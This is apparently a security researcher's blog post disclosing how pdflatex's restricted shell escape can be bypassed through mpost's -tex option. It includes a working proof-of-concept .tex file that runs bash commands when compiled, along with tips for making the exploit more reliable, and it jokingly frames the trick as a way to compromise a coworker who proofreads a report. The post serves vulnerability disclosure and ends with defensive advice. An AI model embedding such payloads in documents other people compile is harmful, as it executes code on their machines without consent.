Pwning coworkers thanks to LaTeX

Writing reports in LaTeX is painful. However, it’s a great occasion to bring joy to the office and pwn a coworker’s laptop while he’s kindly proofreading your pentest report.

\input and \write18 primitives

A few techniques allow the execution of commands during the conversion of a .tex file to a PDF with pdflatex. It’s documented, and the following TeX primitives send commands to the shell:

\immediate\write18{bibtex8 --wolfgang \jobname}
\input{|bibtex8 --wolfgang \jobname}

On Ubuntu 16.04, /usr/share/texmf/web2c/texmf.cnf configuration file controls the behavior of pdflatex (texlive-base package). Here’s an extract:

% Enable system commands via \write18{...}.  When enabled fully (set to
% t), obviously insecure.  When enabled partially (set to p), only the
% commands listed in shell_escape_commands are allowed.  Although this
% is not fully secure either, it is much better, and so useful that we
% enable it for everything but bare tex.
shell_escape = p

% No spaces in this command list.
%
% The programs listed here are as safe as any we know: they either do
% not write any output files, respect openout_any, or have hard-coded
% restrictions similar or higher to openout_any=p.  They also have no
% features to invoke arbitrary other programs, and no known exploitable
% bugs.  All to the best of our knowledge.  They also have practical use
% for being called from TeX.
%
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
kpsewhich,\
makeindex,\
mpost,\
repstopdf,\

Normally, any program listed in shell_escape_commands should be allowed to be executed. Let’s verify this. First, create a minimal .tex file:

$ cat <<EOF>x.tex
\documentclass{article}
\begin{document}
\immediate\write18{uname -a}
\end{document}
EOF

Then verify if uname is actually called thanks to strace:

$ strace -ff -e execve pdflatex x.tex >/dev/null
execve("/usr/bin/pdflatex", ["pdflatex", "x.tex"], [/* 32 vars */]) = 0
+++ exited with 0 +++

As expected, uname -a wasn’t executed. Let’s replace uname with kpsewhich, which should be allowed:

$ sed -i 's/uname -a/kpsewhich --imminent --pwn/' x.tex
$ strace -ff -e execve pdflatex x.tex |& grep execve
execve("/usr/bin/pdflatex", ["pdflatex", "x.tex"], [/* 32 vars */]) = 0
[pid 14042] execve("/bin/sh", ["sh", "-c", "kpsewhich '--imminent' '--pwn'"], [/* 37 vars */]) = 0
[pid 14043] execve("/usr/bin/kpsewhich", ["kpsewhich", "--imminent", "--pwn"], [/* 37 vars */]) = 0

Alright, kpsewhich is really executed, as should any binary in the shell_escape_commands list. According to texmf.cnf, the programs in this list have no features to invoke arbitrary other programs. As we’re going to see, this assertion is utterly wrong. Let’s check if the binaries (bibtex, bibtex8, extractbb, kpsewhich, makeindex, mpost, repstopdf) handle malicious input correctly.

MetaPost

The mpost command seems particularly interesting because of the -tex option (which isn’t documented in the mpost manpage but in the --help option):

-tex=TEXPROGRAM           use TEXPROGRAM for text labels

Let’s create a minimal MetaPost file, and try a few combination of arguments (I’ve absolutely no idea of what this command is meant to do, and the source code isn’t of great help):

$ cat <<EOF>x.mp
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
EOF

$ echo x.mp \
  |  strace -ff -e execve mpost -ini -tex="/bin/uname -a" \
  |& grep execve
execve("/usr/bin/mpost", ["mpost", "-ini", "-tex=/bin/uname -a"], [/* 32 vars */]) = 0
[pid 25508] execve("/bin/uname", ["/bin/uname", "-a", "mpj9sP7Z.tex"], [/* 37 vars */]) = 0

Great, uname -a is executed.

Exploitation

As seen above, the execution of arbitrary commands is straightforward. Passing arbitrary arguments to the command line is a little bit more difficult. I didn’t manage to put any space in them because of the way arguments are parsed. The function responsible of the command execution is runpopen() (texmfmp.c). It calls shell_cmd_is_allowed() which tells if the given command is allowed (according to shell_escape_commands from the configuration file) and quotes arguments properly. Single quotes (') aren’t allowed. Nevermind, powerful payloads can be written as Python one-liner without requiring any space; but it may be easier to execute shell commands directly thanks to the bash $IFS trick.

Finally, here’s a PoC of the vulnerability which executes bash -c '(id;uname${IFS}-sm)>/tmp/pwn':

$ cat <<EOF>x.mp
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
EOF

$ cat <<EOF>x.tex
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
EOF

$ cat /tmp/pwn
cat: /tmp/pwn: No such file or directory

$ pdflatex x.tex >/dev/null
fatal: DVI generation failed

$ cat /tmp/pwn
uid=1000(user) gid=1000(user)
Linux x86_64

A few tricks can improve the “exploit” reliability. Indeed, this PoC doesn’t work if pdflatex isn’t lauched from x.mp’s directory (but default .mp files can be specified). The -interaction=nonstopmode option of mpost allows the compilation of the rest of the document even if an error occurs.

Conclusion

I think there are plenty of other ways to get code execution, not only by managing to execute arbitrary command but also by overwriting arbitrary files. The -no-shell-escape option of pdflatex is a workaround which might save you from this specific issue but I wouldn’t rely too much on it. Given that pdflatex and related tools are mostly written in old school C, memory corruption bugs are likely to be present…

In short, run pdflatex in a VM.